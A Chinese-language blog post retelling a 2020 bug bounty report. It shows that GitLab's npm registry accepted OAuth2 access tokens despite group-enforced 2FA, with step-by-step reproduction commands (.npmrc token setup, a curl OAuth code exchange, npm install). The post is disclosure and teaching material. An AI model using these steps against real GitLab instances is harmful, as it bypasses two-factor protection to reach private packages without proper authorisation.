声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
背景
白帽小哥fushbey于2020年6月提交了这个漏洞: NPM注册表将2FA与其他认证方式分开,并声明OAuth2令牌不起作用,针对这句话进行测试,注册表在两种情况下都接受OAuth2令牌(与文档矛盾):
1.2FA由私有组(包含NPM注册表)强制执行,但用户还没有设置2FA,此时,被重定向到2FA的设置页面。
2.用户已经设置了2FA。
这哥们为了确认这个漏洞,测试了几十次(找到漏洞不容易啊==)
复现步骤
-
UserA创建一个私有组private-node-group
-
UserA为他生成一个PAT(为方便选择所有范围)(注:PAT指的是Personal access tokens)
-
UserA在该组中创建一个称为node-project的项目
4 .UserA创建一个npm包,并将其推送到注册表中:
$ mkdir node-project && cd node-project
$ npm init
$ cat "console.log('Hello 1.0');" > app.js
# I am gonna show how the interesting files look like
$ cat package.json
{
"name": "[@]private-node-group/node-project",
....
"publishConfig": {
"[@]private-node-group:registry": "http://YOUR_GITLAB_HOSTNAME/api/v4/projects/11/packages/npm/"
}
$ cat .npmrc
[@]private-node-group:registry=http://YOUR_GITLAB_HOSTNAME/api/v4/packages/npm/
//YOUR_GITLAB_HOSTNAME/api/v4/packages/npm/:_authToken=<User'sA PAT>
//YOUR_GITLAB_HOSTNAME/api/v4/projects/11/packages/npm/:_authToken=<UserA's PAT>
5.发布(publish it)
$ npm publish
- UserA为group设置2FA
- UserA邀请userB作为Reporter(这个PoC使用
npminstall
作为一个例子,所以我们需要userB能够有下载的权限)
- 模拟用户b登录到第三方OAuth2应用程序,该应用程序有他的访问令牌:
8.1 -用任何用户创建一个OAuth2应用程序,为方便设置重定向uri :http://doesnotexist/
8.2 -当UserB进入新创建的OAuth2应用程序的同意页面时,替换以下值:
https://YOUR_GITLAB_HOSTNAME/oauth/authorize?client_id=APP_ID&redirect_uri=http://doesnotexist/&response_type=code&state=notthatrandom
8.3 接受应用程序为UserB 8.4浏览器提示“doesnotexist …”不存在错误。但是OAuth2代码在URL栏中,复制,并用OAuth2访问令牌交换它:
curl -s -X POST https://YOUR_GITLAB_HOSTNAME/oauth/token -d 'client_id=APP_ID&client_secret=APP_SECRET&code=RETURNED_CODE&grant_type=authorization_code&redirect_uri=http://doesnotexist/'
9.现在有一个UserB的OAuth2访问令牌,没有设置2FA,下面看看它是否起作用(稍后我们检查2FA设置):
$ mkdir node-consumer && cd node-consumer
# this is how my .npmrc looks like
$ cat .npmrc
[@]private-node-group:registry=http://YOUR_GITLAB_HOSTNAME/api/v4/packages/npm/
//YOUR_GITLAB_HOSTNAME/api/v4/packages/npm/:_authToken=<Users'B OAUTH2 ACCESS TOKEN FROM STEP 8.4>
//YOUR_GITLAB_HOSTNAME/api/v4/projects/11/packages/npm/:_authToken=<Users'B OAUTH2 ACCESS TOKEN FROM STEP 8.4>
10.让我们看看我们是否可以安装包,因为UserB是Reporter,可以访问注册表页面,复制一下命令:
npm i [@]private-node-group/node-project
npm WARN Failed to parse json
npm WARN Trailing comma in object at 11:1
npm WARN }
npm WARN ^
npm WARN File: /pocs/node-consumer/package.json
npm WARN node-consumer No description
npm WARN node-consumer No repository field.
npm WARN node-consumer No README data
npm WARN node-consumer No license field.
root@ee:/pocs/node-consumer#
虽然得到一些警告,但包已经安装:
$ tree node_modules
node_modules/
└── [@]private-node-group
└── node-project
├── app.js
└── package.json
2 directories, 2 files
现在进入2FA设置页面,设置2FA并重新测试步骤10。它仍然有效。
更多相关内容请关注公众号: growing0101
参考视频
gitlab npm Registry demo: https://www.youtube.com/watch?v=yvLxtkvsFDA